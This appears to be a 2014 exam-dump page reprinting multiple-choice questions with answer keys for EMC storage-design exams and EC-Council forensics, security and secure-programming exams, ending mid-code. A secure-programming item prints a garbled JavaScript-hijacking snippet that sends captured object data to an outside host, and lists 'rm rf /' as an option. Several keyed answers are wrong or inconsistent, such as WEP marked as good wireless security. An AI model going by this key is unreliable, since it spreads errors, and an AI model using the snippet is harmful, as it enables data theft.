2014年1月31日星期五

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Exam Code: E20-816
Exam Name: EMC (Symmetrix Solutions Expert Exam for Technology Architects)
One year free update, No help, Full refund!
Total Q&A: 156 Questions and Answers
Last Update: 2014-01-31

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NO.1 A customer has a single V-Max and you are helping to design a new SRDF solution. This customer
wants to replicate all its data with SRDF over a Gigabit Ethernet.
In order to get the maximum benefit from scaling, what is the most important consideration?
A. All GigE ports on the source should be able to see all GigE ports on the target array
B. Ports must have auto-negotiation off because we don't support Jumbo Frames
C. Speed limit value in the Symmetrix configuration file (not persistent)
D. Speed limits can be set on GigE ports from 100 to 10000 Mb (megabits)
Answer: A

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NO.2 A customer is implementing a new SRDF/S environment with DMX arrays. The primary and secondary
data centers are 20 kilometers apart.
Which consideration is needed for planning, designing, and implementing a synchronous solution?
A. Ensure that the application can tolerate the additional latency
B. Ensure that adequate cache on the arrays is allocated
C. Ensure that the RAID configuration is identical on both arrays
D. Ensure that there is twice the recommended amount of bandwidth
Answer: A

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NO.3 Click the Calculator icon in the upper left-hand corner.
SRDF/S over Fibre Channel has been configured between two V-Max arrays that are 50 kilometers apart.
What is the expected write response time delay due to latency?
A. 0.25 ms
B. 0.5 ms
C. 1 ms
D. 2 ms
Answer: C

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NO.4 A customer is running SRDF/A single session mode. They want to change into SRDF/S mode after
nightly periods of high write activity have completed. The switch to synchronous mode failed.
What is a potential cause for this failure?
A. SRDF/S cycle switching feature is not enabled.
B. Mode change feature is only supported with Concurrent SRDF.
C. SDRF/A write cache is not enabled at the remote site.
D. Fifty percent or more of SRDF/A write cache is in use on the target Symmetrix.
Answer: D

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NO.5 A company has a Symmetrix V-Max array in an open systems environment. They want to use
TimeFinder/Snap to create a single copy per day of a production environment containing 200 volumes of
8 GB each. Twenty-five percent of the total I/O in the application is write activity.
What is the amount of physical storage required for all VDEVs?
A. 50 GB
B. 4 GB
C. 8 GB
D. 0 GB
Answer: D

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NO.6 A customer is migrating their Windows 2008 servers from HP storage to EMC V-Max storage.
Host-based performance metrics need to be used to design a configuration. EMC recommends the
diskperf -Y command to enable I/O statics in every server.
Why is enabling disk statistics collection recommended?
A. It improves performance of the servers
B. Otherwise, a reboot will be required to activate
C. Otherwise, you must start Performance Monitor
D. Because Windows 2008 leaves the default value to off
Answer: B

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NO.7 A customer's application is stored on a DMX-4. The application runs 24x7x365. They would like to send
consistent replicas of this data simultaneously to four branch offices on a nightly basis. The branch offices
have CLARiiON arrays.
Which solution would you recommend?
A. Use TimeFinder/Mirror to create a consistent replica of the production application. Then use Open
Replicator cold push to replicate the data from the BCVs to the remote offices.
B. Use Open Replicator cold push to replicate the data to the remote offices.
C. Use Open Replicator hot push to replicate the data to the remote offices.
D. Use TimeFinder/Snap to create a consistent replica of the production application. Then use Open
Replicator cold push to replicate the data on the VDEVs to the remote offices.
Answer: A

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NO.8 The customer wants a TimeFinder/Snap solution to create a point in time prior to modifying the source
data for testing purposes with a 16-hour RPO.
How should the Change Tracker data collection be set up to model the solution.?
A. Delta report with a reset of 8 hours
B. Delta report with a reset of 16 hours
C. Delta report with a reset of 4 hours
D. Sum report with a reset of 8 hours
Answer: B

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NO.9 What are the key differences between SIRT in 5772 and SIRT in Symmetrix V-Max with 5874?
A. SIRT in 5874 is enabled for all write sizes or if RTT > 115 microsec
B. SIRT in 5874 is enabled for write sizes up to 64 KB or RTT threshold > 520 microsec
C. SIRT in 5874 is enabled for all write sizes or if RTT < 115 microsec
D. SIRT in 5874 is enabled for write sizes up to 128 KB or if RTT < 115 microsec
Answer: A

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NO.10 The customer has a DMX-4 replicating to another DMX-4 (microcode level 5773 for both) over an
SRDF/S session between two sites 20 km apart and wants to understand the limitation (if any) of using
the Single Round Trip (SiRT) feature on RF directors. What is the applicable limitation of the setup?
A. SiRT only works for an I/O size of less than 32 KB.
B. SiRT is enabled for all block sizes.
C. SiRT would not work because the distance is greater than 12 km.
D. SiRT only works for SRDF/A.
Answer: A

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NO.11 An Open Replicator data migration from a HDS to Symmetrix array is being proposed. The customer
has the following requirements: Application downtime should be minimal and Open Replicator session
failure must not result in data loss
Which solution will meet the customer's requirements?
A. Cold pull with precopy
B. Cold pull with donor update
C. Hot pull with donor update
D. Hot pull with precopy
Answer: C

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NO.12 A customer wants to migrate from DMX-3 with 5772 to DMX-4 with 5773 code. They are using
TimeFinder/Clone every night for backup processing with synchronous COFW. TimeFinder/Clone with
5773 allows them to use a new feature called asynchronous COFW.
How many back-end operations does TimeFinder/Clone make with Enginuity 5773 using Aynchronous
COFW compared with TimeFinder/Clone with Enginuity 5772?
A. Back-end operations are lower with 5773 Enginuity.
B. Back-end operations are the same in both Enginuity versions.
C. Back-end operations are higher with 5773 Enginuity.
D. Depends on disk speed and RAID protection.
Answer: B

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NO.13 The customer wants to replace the three DMX 2000s with a single Symmetrix V-Max using Open
Replicator hot pull for the move. What sequence of steps should be taken to get ready for the copy
sessions?
LUN Masking of DMX 2000 remote volumes to the V-Max FA ports.
V-Max and DMX 2000 arrays are reachable via the same fabric or SAN extension.
FA ports of V-Max are zoned to FA ports of the three DMX 2000s.
V-Max and DMX 2000 arrays are reachable via point-to-point or FC-AL.
LUN Masking of the V-Max control volumes to the DMX 2000 FA ports.
All V-Max FAs have access to the DMX 2000 volumes being migrated.
A. 4,6,1,3
B. 4,3,5,6
C. 2,3,1,6
D. 2,3,5,6
Answer: C

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NO.14 A customer is planning to implement SRDF/S into their environment. The customer wants zero data
loss if they lose their primary data center (R1). The distance is 1,000 miles, and the customer would like to
maintain an application response time of 10 ms.
Which design would you implement?
A. SRDF/AR single-hop
B. SRDF/AR multi-hop
C. SRDF/DM
D. SRDF/S with adaptive copy initially
Answer: B

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NO.15 The customer wants a TimeFinder/Snap solution to create a point in time prior to modifying the source
data for testing purposes. The snap would be kept for 8 hours. How should the Change Tracker data
collection be set up to model the solution?
A. Sum report with a reset of 4 hours
B. Delta report with a reset of 16 hours
C. Delta report with a reset of 4 hours
D. Delta report with a reset of 8 hours
Answer: D

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Exam Code: E20-324
Exam Name: EMC (VNX Solutions Design Exam for Technology Architects )
One year free update, No help, Full refund!
Total Q&A: 117 Questions and Answers
Last Update: 2014-01-31

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NO.1 Refer to the exhibit.
What type of VNX configuration is illustrated with this topology?
A. VNX MPFS with iSCSI/FC
B. VNX MPFS with FC/FCoE
C. VNX gateway with iSCSI/FC
D. VNX gateway with FC
Answer: A

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NO.2 Which RecoverPoint/SE data protection methodology enables block protection as well as a file DR
solution?
A. RecoverPoint/SE CRR
B. RecoverPoint/SE CLR
C. RecoverPointt/SE CDP
D. RecoverPoint/SE CDP and CRR
Answer: A

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NO.3 Refer to the exhibit.
What type of VNX MPFS configuration is illustrated with this topology?
A. VNX gateway with FC
B. VNX with iSCSI/FC
C. VNX with iSCSI/FCoE
D. VNX gateway with MPFSi
Answer: D

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NO.4 When interviewing customer personnel, you learn of two sets of requirements:
-The technical team has a specific set of requirements that they have to meet. -The manager has a
financial requirement that has to be met.
As you begin to design, it becomes clear that, in order to meet the technical goal, the financial
requirement will be exceeded. What should you do?
A. Let both teams know of the constraints and see if there can be a mutual resolution.
B. Since this is a technical project you should design to the technical team requirements.
C. Because the manager is paying for the equipment, limit the design to fit into the financial constraints.
D. Design to the technical requirement and then take enough storage out to meet the financial goal.
Answer: A

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NO.5 You are preparing a detailed VNX presentation for a technically-oriented customer. VNX arrays have
been in their environment for over a year. One objective of the meeting is to go over historical data. The
customer indicated that they would like to see Unisphere statistics as part of the analysis.
Assuming that statistics logging was enabled from day one, how long does the Unisphere GUI keep its
real-time statistics?
A. Real-time statistics are stored for 1 month.
B. Real-time statistics cannot be saved to disk.
C. Real-time statistics are stored for 3 months, unless the frequency interval is less than 5 minutes.
D. Real-time statistics are stored indefinitely, but requires a dedicated collection server.
Answer: B

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NO.6 Your customer has purchased a VNX to upgrade the storage for an Exchange Server cluster. What tool
should you use to gather performance data from the Exchange cluster?
A. iostat
B. sar
C. esxtop
D. perfmon
Answer: D

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NO.7 Which protocols are the best solution for Grid Computing and High Performance Computing
environments?
A. iSCSI, FCoE
B. pNFS, MPFS
C. CIFS, NFS
D. FTP, SMB2
Answer: B

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NO.8 While gathering performance data during peak workloads, which type of collection method is best
suited?
A. Larger periods of data collection over shorter intervals
B. Smaller periods of data collection over shorter intervals
C. Smaller periods of data collection over larger intervals
D. Larger periods of data collection over larger intervals
Answer: C

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NO.9 While gathering existing customer environment information to provide a new VNX storage system
solution, you have found many different HBA types, servers, operating systems, and other SAN hardware.
Which wizard within E-Lab Navigator can be used to validate a new VNX storage solution?
A. SOE & Software Wizard
B. CLARiiON Host Attach Wizard
C. Switch Interoperability Wizard
D. Storage Array Wizard
Answer: C

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NO.10 A customer wants to write a script that needs to list all linked remote VNX arrays for file-based
replication. What CLI command should you recommend?
A. nas_cel -list
B. nas_cel -info
C. nas_replicate -info
D. nas_replicate -list
Answer: A

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NO.11 When documenting the customer environment prior to a storage refresh, you discover that the
customer has an issue their backups do not complete every job. How should you proceed?
A. Have the customer resolve the issue before continuing.
B. Note the issue in the Statement of Work and continue with planning.
C. Open a case for the backup issue and resolve it yourself.
D. No actionrequired:SOW does not include resolving this type of issue.
Answer: A

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NO.12 Your customer needs help understanding Unisphere statistics on a VNX, specifically the Number of
Write Cache Pages. How do you explain this metric to the customer?
A. It is displayed per each SP, and the total number is derived from the sum of both SPs.
B. It is displayed per entire array, and the total number is half the sum of both SPs.
C. It is displayed per each SP, and the total number is four times the sum of both SPs.
D. When FAST Cache is enabled, the number includes the FAST Cache plus the sum of both SPs.
Answer: A

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NO.13 During your design analysis you have gathered current storage configuration data and matched storage
volumes with server data. You have discovered some inconsistencies with the collected data.
What should the next step be?
A. Resolve any inconsistencies with the customer according to best practices.
B. Let the implementation engineer resolve the inconsistencies.
C. Note the inconsistencies and forward a redesign to the implementation engineer.
D. Resolve the inconsistencies yourself according to best practices.
Answer: A

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NO.14 The majority of your customer's servers have highly utilized database applications that require
predictable performance.
What type of storage do you recommend.?
A. RAID Groups with traditional LUNs
B. Storage groups with thick LUNs
C. Pool with traditional LUNs
D. RAID Groups with thin LUNs
Answer: A

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NO.15 You are gathering data from a customer environment. You have to process a number of configuration
reports.
What tool provides a simple method of processing the data gathering configuration?
A. Unisphere Analyzer
B. Collect Support Materials
C. E-Lab Advisor
D. CLARiiON Configuration Builder
Answer: C

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Total Q&A: 132 Questions and Answers
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NO.1 Prior to starting an implementation, which tool should be used to automate the data collection on a
Windows host?
A. EMCGrab
B. EMCReports
C. E-Lab Advisor
D. Change Tracker
Answer: B

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NO.2 A customer plans to migrate existing AIX, HP-UX and IBM iSeries hosts to a new VMAX array.
Performance data is needed to design the VMAX volumes configuration layout.
What host performance data do you request from the customer?
A. IOSTAT, SAR, WRKDSKSTS
B. STP, Perfmon, SMF/CMF
C. IOSTAT, STP, WRKDSKSTS
D. Perfmon, SAR, SMF/CMF
Answer: A

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NO.3 What is a best practice when configuring a Symmetrix VMAX for optimal performance and cost?
A. Different drive types are mixed and spread throughout the array.
B. Dedicated engines have appropriate drive types to meet application needs.
C. A dedicated array with Enterprise Flash Drives (EFD).
D. A dedicated array based upon application requirement.
Answer: A

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NO.4 You are designing a new disaster recovery solution with VMAX arrays. During the initial project kick-off
meeting, the customer reports the maximum allowable downtime for their applications is ninety minutes,
but they have not yet determined how much data recovery following a disaster their environment can
tolerate.
The customer asks which remote replication method you recommend for their environment.
What do you recommend.?
A. Defer making a recommendation until the application RPO in known.
B. Recommend the disaster recovery solution as described in the Sales Order.
C. Defer making a recommendation until the application RTO is known.
D. Recommend the disaster recovery solution described in the Statement of Work.
Answer: A

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NO.5 Prior to starting an implementation, which tool should be used to automate the data collection on a UNIX
host?
A. EMCGrab
B. EMCReports
C. E-Lab Advisor
D. Change Tracker
Answer: A

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NO.6 A Symmetrix VMAX hosts four applications. Each application is assigned a named dynamic cache
partition. Two of the partitions are static and two are flexible. The write pending limit for each partition is
set to 60%.
What will happen if an application running in a flexible partition reaches the write pending limit set for that
partition?
A. Host write activity to that partition will be throttled
B. Cache will be borrowed from the other flexible partition
C. Cache will be borrowed from the default partition
D. The write pending limit of the partition will be raised until it reaches 80%
Answer: A

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NO.7 A customer is interested in utilizing TimeFinder/Snap to generate a backup copy of an application
every six hours. In order for you to calculate the SAVE Pool requirements you will need to run Change
Tracker. To which value should you set the reset interval length for DeltaMark?
A. 21600
B. 10800
C. 86400
D. 32400
Answer: A

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NO.8 You are designing a new VMAX array. The customer requires high performance for their random
write-intensive application. Which RAID protection should you recommend?
A. RAID-5
B. RAID-6
C. RAID-1
D. RAID-S
Answer: C

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NO.9 You are designing a new disaster recovery solution with VMAX arrays. During the initial project kick-off
meeting, the customer reports their environment can tolerate five minutes or less of data recovery
following a disaster but have not yet determined the maximum allowable downtime for their applications.
The customer asks which remote replication methods you recommend for their environment.
What do you recommend?
A. Defer making a recommendation until the application RTO is known.
B. Recommend the disaster recovery solution as described in the Sales Order.
C. Defer making a recommendation until the application RPO in known.
D. Recommend the disaster recovery solution described in the Statement of Work.
Answer: A

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NO.10 A Symmetrix VMAX has been configured with Dynamic Cache Partitions.
What is a criterion that must be met for a cache slot to be eligible for donation?
A. The fall through time must be greater than the donation age
B. The fall through time must be less than the donation age
C. The cache slot must belong to a static partition
D. There must be available cache slots in the default partition
Answer: A

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NO.11 A customer will migrate existing AIX, HP-UX and Windows hosts from a DMX-3 to a new VMAX array.
You need performance data from the existing array to design to the new VMAX volumes configuration
layout. Which tools can be used to collect Symmetrix array performance data?
A. ControlCenter Performance Manager and STP Collector
B. EMC Workload Generator and STP Navigator
C. Storage Configuration Advisor and STP Collector
D. ControlCenter Performance Manager and SymmMerge
Answer: A

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NO.12 You are proposing a new VMAX array with FAST VP. The customer reports their application needs a
small amount of EFD capacity and asks whether 200 GB EFDs or 400 GB EFDs would provide better
overall performance. Which drive size do you recommend and why?
A. 400 GB EFDs. They support higher IOPS than 200 GB EFDs.
B. 200 GB EFDs. They support higher I/O density than 400 GB EFDs.
C. 400 GB EFDs. They support higher I/O density than 200 GB EFDs.
D. 200 GB EFDs. They support higher IOPS than 400 GB EFDs.
Answer: B

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NO.13 A Symmetrix VMAX hosts four applications. Each application is assigned a named dynamic cache
partition. Two of the partitions are static and two are flexible. The write pending limit for each partition is
set to 60%.
What will happen if an application running in a static partition reaches the write pending limit set for that
partition?
A. Cache will be borrowed from a flexible partition
B. Cache will be borrowed from the default partition
C. Host write activity to that partition will be throttled
D. The write pending limit of the partition will be raised until it reaches 80%
Answer: C

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NO.14 A customer plans to migrate existing AIX and Windows hosts as well as Mainframe z/OS LPARs to a
new VMAX array. Performance data is needed to design the VMAX volumes configuration layout. Which
host performance data do you request from the customer?
A. STP, SAR, WRKDSKSTS
B. SAR, Perfmon, WRKDSKSTS
C. IOSTAT, Perfmon, SMF/CMF
D. IOSTAT, SAR, SMF/CMF
Answer: C

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NO.15 A major telecommunications operator is planning to consolidate multiple mid-tier storage arrays to a
single Symmetrix VMAX solution. Their existing environment includes IBM AIX servers, HP-UX Servers
and Windows 2003 Servers.
When documenting the existing Server environment, which command can be used on the HP-UX Servers,
to list the software modules installed?
A. swlist
B. lslpp
C. pkginfo
D. pkgchk
Answer: A

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NO.16 A major telecommunications operator is planning to consolidate multiple mid-tier storage arrays to a
single Symmetrix VMAX solution. Their existing environment includes IBM AIX servers, HP-UX Servers
and Windows 2003 Servers.
When documenting the existing Server environment, which command can be used on the AIX Servers, to
list the software modules installed?
A. pkginfo
B. lslpp
C. swlist
D. cfgmgr
Answer: B

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NO.17 A TimeFinder/Snap of production data must be recreated in a four hour cycle throughout the day.
Which change tracker report will provide the best data for modeling a solution for the twenty-four hour
period?
A. Delta report reset every four hours
B. SUM report over four hours
C. Delta report reset every twenty four hours
D. SUM report over twenty four hours
Answer: A

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NO.18 A customer is interested in utilizing SRDF/AR to generate a remote copy of an application with an RPO
of six hours. In order for you to calculate the bandwidth requirements you will need to run Change Tracker.
To which should you set the reset interval length for DeltaMark?
A. 21600
B. 86400
C. 32400
D. 10800
Answer: D

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NO.19 A TimeFinder/Snap of production data must be recreated in a two hour cycle throughout the day.
Which change tracker report will provide the best data for modeling a solution for the twenty-four hour
period?
A. Delta report reset every two hours
B. SUM report over two hours
C. Delta report reset every twenty four hours
D. SUM report over twenty four hours
Answer: A

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NO.20 You are designing a new VMAX array. The customer's primary concern is maximizing capacity
available to the host. What RAID protection should you recommend?
A. RAID-5 (7+1)
B. RAID-6 (6+2)
C. RAID-1/0
D. RAID-5 (3+1)
Answer: A

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Exam Code: EC0-349
Exam Name: EC-COUNCIL (Computer Hacking Forensic Investigator)
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Total Q&A: 374 Questions and Answers
Last Update: 2014-01-31

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NO.1 When carrying out a forensics investigation, why should you never delete a partition on a dynamic
disk?
A.All virtual memory will be deleted
B.The wrong partition may be set to active
C.This action can corrupt the disk
D.The computer will be set in a constant reboot state
Answer: C

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NO.2 Madison is on trial for allegedly breaking into her universitys internal network. The police raided her
dorm room and seized all of her computer equipment. Madisons lawyer is trying to convince the judge that
the seizure was unfounded and baseless. Under which US Amendment is Madisons lawyer trying to
prove the police violated?
A.The 10th Amendment
B.The 5th Amendment
C.The 1st Amendment
D.The 4th Amendment
Answer: D

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NO.3 A picture file is recovered from a computer under investigation. During the investigation process, the
file is enlarged 500% to get a better view of its contents. The pictures quality is not degraded at all from
this process. What kind of picture is this file?
A.Raster image
B.Vector image
C.Metafile image
D.Catalog image
Answer: B

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NO.4 A suspect is accused of violating the acceptable use of computing resources, as he has visited adult
websites and downloaded images. The investigator wants to demonstrate that the suspect did indeed visit
these sites. However, the suspect has cleared the search history and emptied the cookie cache.
Moreover, he has removed any images he might have downloaded. What can the investigator do to prove
the violation? Choose the most feasible option.
A.Image the disk and try to recover deleted files
B.Seek the help of co-workers who are eye-witnesses
C.Check the Windows registry for connection data (You may or may not recover)
D.Approach the websites for evidence
Answer: A

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NO.5 What information do you need to recover when searching a victims computer for a crime committed
with
specific e-mail message?
A.Internet service provider information
B.E-mail header
C.Username and password
D.Firewall log
Answer: B

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NO.6 Which legal document allows law enforcement to search an office, place of business, or other locale for
evidence relating to an alleged crime?
A.Search warrant
B.Subpoena
C.Wire tap
D.Bench warrant
Answer: A

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NO.7 Which forensic investigating concept trails the whole incident from how the attack began to how the
victim was
affected?
A.Point-to-point
B.End-to-end
C.Thorough
D.Complete event analysis
Answer: B

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NO.8 What hashing method is used to password protect Blackberry devices?
A.AES
B.RC5
C.MD5
D.SHA-1
Answer: D

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NO.9 A forensics investigator is searching the hard drive of a computer for files that were recently moved to
the Recycle Bin. He searches for files in C:\RECYCLED using a command line tool but does not find
anything. What is the reason for this?
A.He should search in C:\Windows\System32\RECYCLED folder
B.The Recycle Bin does not exist on the hard drive
C.The files are hidden and he must use a switch to view them
D.Only FAT system contains RECYCLED folder and not NTFS
Answer: C

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NO.10 You are working as an independent computer forensics investigator and receive a call from a systems
administrator for a local school system requesting
your assistance. One of the students at the local high school is suspected of downloading inappropriate
images from the Internet to a PC in the Computer Lab.
When you arrive at the school, the systems administrator hands you a hard drive and tells you that he
made a simple backup copy of the hard drive in the PC
and put it on this drive and requests that you examine the drive for evidence of the suspected images. You
inform him that a simple backup copy will not provide deleted files or recover file fragments. What type of
copy do you need to make to ensure that the evidence found is complete and admissible in future
proceedings?
A.Bit-stream copy
B.Robust copy
C.Full backup copy
D.Incremental backup copy
Answer: A

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NO.11 Sectors in hard disks typically contain how many bytes?
A.256
B.512
C.1024
D.2048
Answer: B

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NO.12 The efforts to obtain information before a trial by demanding documents, depositions, questions and
answers written under oath, written requests for admissions of fact, and examination of the scene is a
description of what legal term?
A.Detection
B.Hearsay
C.Spoliation
D.Discovery
Answer: D

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NO.13 Why is it still possible to recover files that have been emptied from the Recycle Bin on a Windows
computer?
A.The data is still present until the original location of the file is used
B.The data is moved to the Restore directory and is kept there indefinitely
C.The data will reside in the L2 cache on a Windows computer until it is manually deleted
D.It is not possible to recover data that has been emptied from the Recycle Bin
Answer: A

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NO.14 What is the last bit of each pixel byte in an image called?
A.Last significant bit
B.Least significant bit
C.Least important bit
D.Null bit
Answer: B

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NO.15 What will the following Linux command accomplish?
dd if=/dev/mem of=/home/sam/mem.bin bs=1024
A.Copy the master boot record to a file
B.Copy the contents of the system folder mem to a file
C.Copy the running memory to a file
D.Copy the memory dump file to an image file
Answer: C

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NO.16 In the following Linux command, what is the outfile?
dd if=/usr/bin/personal/file.txt of=/var/bin/files/file.txt
A./usr/bin/personal/file.txt
B./var/bin/files/file.txt
C./bin/files/file.txt
D.There is not outfile specified
Answer: B

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NO.17 A forensics investigator needs to copy data from a computer to some type of removable media so he
can
examine the information at another location. The
problem is that the data is around 42GB in size. What type of removable media could the investigator
use?
A.Blu-Ray single-layer
B.HD-DVD
C.Blu-Ray dual-layer
D.DVD-18
Answer: C

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NO.18 In conducting a computer abuse investigation you become aware that the suspect of the investigation
is using ABC Company as his Internet Service Provider (ISP). You contact the ISP and request that they
provide you assistance with your investigation. What assistance can the ISP provide?
A.The ISP can investigate anyone using their service and can provide you with assistance
B.The ISP can investigate computer abuse committed by their employees, but must preserve the privacy
of their ustomers and therefore cannot assist you without a warrant
C.The ISP cannot conduct any type of investigations on anyone and therefore cannot assist you
D.ISPs never maintain log files so they would be of no use to your investigation
Answer: B

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NO.19 When a router receives an update for its routing table, what is the metric value change to that path?
A.Increased by 2
B.Decreased by 1
C.Increased by 1
D.Decreased by 2
Answer: C

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NO.20 While searching through a computer under investigation, you discover numerous files that appear to
have had
the first letter of the file name replaced by
the hex code byte E5h. What does this indicate on the computer?
A.The files have been marked as hidden
B.The files have been marked for deletion
C.The files are corrupt and cannot be recovered
D.The files have been marked as read-only
Answer: B

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NO.1 Which of the following statements are true about routers?
Each correct answer represents a complete solution. Choose all that apply.
A. Routers are responsible for making decisions about which of several paths network (orInternet)traffic
will follow.
B. Routers do not limit physical broadcast traffic.
C. Routers organize addresses into classes, which are used to determine how to move packets fromone
network to another.
D. Routers act as protocol translators and bind dissimilar networks.
Answer: A,C,D

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NO.2 Which of the following is the first computer virus that was used to infect the boot sector of storage
media formatted with the DOS File Allocation Table (FAT) file system?
A. I love you
B. Melissa
C. Tequila
D. Brain
Answer: D

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NO.3 Which of the following representatives of incident response team takes forensic backups of the systems
that are the focus of the incident?
A. Lead investigator
B. Information security representative
C. Technical representative
D. Legal representative
Answer: C

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NO.4 Which of the following types of attacks cannot be prevented by technical measures only?
A. Brute force
B. Ping flood attack
C. Smurf DoS
D. Social engineering
Answer: D

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NO.5 Which of the following proxy servers is also referred to as transparent proxies or forced proxies?
A. Intercepting proxy server
B. Anonymous proxy server
C. Reverse proxy server
D. Tunneling proxy server
Answer: A

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NO.6 You have just set up a wireless network for customers at a coffee shop. Which of the following are
good security measures to implement?
Each correct answer represents a complete solution. Choose two.
A. Using WEP encryption
B. Using WPA encryption
C. Not broadcasting SSID
D. MAC filtering the router
Answer: A,B

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NO.7 Which of the following attacks CANNOT be detected by an Intrusion Detection System (IDS)?
Each correct answer represents a complete solution. Choose all that apply.
A. Denial-of-Service (DoS) attack
B. E-mail spoofing
C. Port scan attack
D. Shoulder surfing
Answer: B,D

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NO.8 You work as a Network Administrator for Tech Perfect Inc. The company requires a secure wireless
network. To provide security, you are configuring ISA Server 2006 as a firewall. While configuring
ISA Server 2006, which of the following is NOT necessary?
A. Defining how ISA Server would cache Web contents
B. Defining ISA Server network configuration
C. Setting up of monitoring on ISA Server
D. Configuration of VPN access
Answer: D

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NO.9 Which of the following OSI layers is responsible for protocol conversion, data encryption/decryption,
and data compression?
A. Transport layer
B. Presentation layer
C. Data-link layer
D. Network layer
Answer: B

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NO.10 John works as an Office Assistant in DataSoft Inc. He has received an e-mail from
duesoft_lotterygroup@us.com with the following message:
The DueSoft Lottery Incorporation
This is to inform you that you have just won a prize of $7,500.00 for this year's Annual Lottery promotion,
which was organized by Msn/Yahoo Lottery in conjunction with DueSoft. We collect active online e-mails
and select five people every year as our winners through an electronic balloting machine. Please reply
within three days of receiving this e-mail with your full details like Name, Address, Sex, Occupation, Age,
State, Telephone number, and Country to claim your prize.
If John replies to this e-mail, which of the following attacks may he become vulnerable to?
A. Salami attack
B. Man-in-the-Middle attack
C. Phishing attack
D. DoS attack
Answer: C

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NO.11 Which of the following security policies will you implement to keep safe your data when you connect
your Laptop to the office network over IEEE 802.11 WLANs?
Each correct answer represents a complete solution. Choose two.
A. Using a protocol analyzer on your Laptop to monitor for risks.
B. Using an IPSec enabled VPN for remote connectivity.
C. Using portscanner like nmap in your network.
D. Using personal firewall software on your Laptop.
Answer: B,D

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NO.12 Firewalking is a technique that can be used to gather information about a remote network protected by a
firewall. This technique can be used effectively to perform information gathering attacks. In this technique,
an attacker sends a crafted packet with a TTL value that is set to expire one hop past the firewall. Which
of the following are pre-requisites for an attacker to conduct firewalking?
Each correct answer represents a complete solution. Choose all that apply.
A. ICMP packets leaving the network should be allowed.
B. An attacker should know the IP address of the last known gateway before the firewall.
C. There should be a backdoor installed on the network.
D. An attacker should know the IP address of a host located behind the firewall.
Answer: A,B,D

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NO.13 You are responsible for security at a company that uses a lot of Web applications. You are most
concerned about flaws in those applications allowing some attacker to get into your network. What
method would be best for finding such flaws?
A. Vulnerability scanning
B. Manual penetration testing
C. Automated penetration testing
D. Code review
Answer: A

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NO.14 Kerberos is a computer network authentication protocol that allows individuals communicating over a
non-secure network to prove their identity to one another in a secure manner. Which of the following
statements are true about the Kerberos authentication scheme?
Each correct answer represents a complete solution. Choose all that apply.
A. Kerberos requires continuous availability of a central server.
B. Kerberos builds on Asymmetric key cryptography and requires a trusted third party.
C. Dictionary and brute force attacks on the initial TGS response to a client may reveal the
subject'spasswords.
D. Kerberos requires the clocks of the involved hosts to be synchronized.
Answer: A,C,D

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NO.15 Which of the following statements best describes a certification authority?
A. A certification authority is a type of encryption that uses a public key and a private key pair fordata
encryption.
B. A certification authority is an entity that issues digital certificates for use by other parties.
C. A certification authority is a technique to authenticate digital documents by using
computercryptography.
D. A certification authority is a type of encryption that uses a single key to encrypt and decryp t data.
Answer: B

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NO.16 Which of the following security protocols are based on the 802.11i standard.?
Each correct answer represents a complete solution. Choose all that apply.
A. WEP
B. WPA2
C. WPA
D. WEP2
Answer: B,C

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NO.17 Which of the following needs to be documented to preserve evidences for presentation in court?
A. Incident response policy
B. Account lockout policy
C. Separation of duties
D. Chain of custody
Answer: D

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NO.18 Fill in the blank with the appropriate word ___is software that is a subcategory of malware and refers to
unwanted software that performs malicious actions on a user's computer. Some its examples are Trojan,
adware, and spyware.
A. Crimeware
Answer: A

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NO.19 John works as a professional Ethical Hacker. He has been assigned the project of testing the security
of www.we-are-secure.com. He is using a tool to crack the wireless encryption keys. The description of
the tool is as follows:
Which of the following tools is John using to crack the wireless encryption keys?
A. AirSnort
B. Kismet
C. PsPasswd
D. Cain
Answer: A

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NO.20 Linux traffic monitoring tools are used to monitor and quickly detect faults in the network or a system.
Which of the following tools are used to monitor traffic of the Linux operating system?
Each correct answer represents a complete solution. Choose all that apply.
A. PsExec
B. IPTraf
C. MRTG
D. PsLogList
E. Ntop
Answer: B,C,E

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Exam Code: 312-92
Exam Name: EC-COUNCIL (EC-Council Certified Secure Programmer v2)
One year free update, No help, Full refund!
Total Q&A: 99 Questions and Answers
Last Update: 2014-01-31

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NO.1 Harold is programming an application that needs to be incorporate data encryption. Harold decides to
utilize an encryption algorithm that uses 4-bit working registers instead of the usual 2bit working registers.
What encryption algorithm has Harold decided to use?
A. Blowfish
B. RC5
C. RC4
D. RC6
Answer: D

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NO.2 Travis, a senior systems developer for YNY Services, received an email recently from an unknown
source. Instead of opening the email on his normal production machine, Travis decides to copy the email
to a thumb drive and examine it from a quarantined PC not on the network. Travis examines the email and
discovers a link that is supposed to take him to http://scarysite.com. Travis decides to get back on his
production computer and examine the code of that site.
From the following code snippet, what has Travis discovered?
<script>
function object() {
this.email setter = captureobject
}
function captureobject(x) {
var objstring =
for(fld in this) {
obstring += fld + :
this[fld] + , ;
}
obstring += email:
+ x;
var req = new XMLHttpRequest();
req.open( GET , http://scarysite.com?obj=
+
escape(objString), true);
req.send(null);
}
</script>
A. URL obfuscation
B. XSS attack
C. JavaScript hijacking
D. URL tampering
Answer: C

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NO.3 Wayne is a gaming software developer for a large video gaming company in Los Angeles. Wayne has
just completed developing a new action/adventure game for the company that is to be released soon. To
protect the company s copyright on the game, Wayne would like to incorporate a technology that will
restrict the use of the digital files by controlling access, altering, sharing, copying, printing, and saving.
What technology does Wayne want to use?
A. ARM
B. WRM
C. DRM
D. Diffusion
Answer: C

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NO.4 Which Linux command will securely delete a file by overwriting its contents?
A. rm rf /
B. Shred
C. ps rm
D. del rm
Answer: B

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NO.5 Shayla is designing a web-based application that will pass data to and from a company extranet. This
data is very sensitive and must be protected at all costs. Shayla will use a digital certificate and a digital
signature to protect the data. The digital signature she has chosen to use is based on the difficulty in
computing discrete logarithms. Which digital signature has she chosen?
A. Rabin
B. Diffie-Hellman
C. SA-PSS
D. ElGamal
Answer: D

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NO.6 Devon is an applications developer that just got back from a conference on how to correctly write code.
Devon has a number of programs he has written that access data across WAN links, so he is particularly
concerned about their security. Devon writes a script in C++ to check the security of the programs running
on his internal servers. What will the following code from Devon s script accomplish?
#include <iostream>
#include <socket.cpp>
#include <util.h>
using namespace std;
bool tryPort(int p);
string target("");
int main(int argC, char *argV[])
{
printf("PlagueZ port scanner 0.1\n");
int startPort = getInt("start Port: ");
int endPort = getInt("end Port: ");
target = getString("Host: ");
printf("[Processing port %d to %d]\n",
startPort, endPort);
for(int i=0; i<endPort; i++)
{
printf("[Trying port: %d]\n", i);
if(tryPort(i)) // port open
printf("[Port %d is open]\n", i);
}
printf("------Scan Finished-------\n");
system("pause");
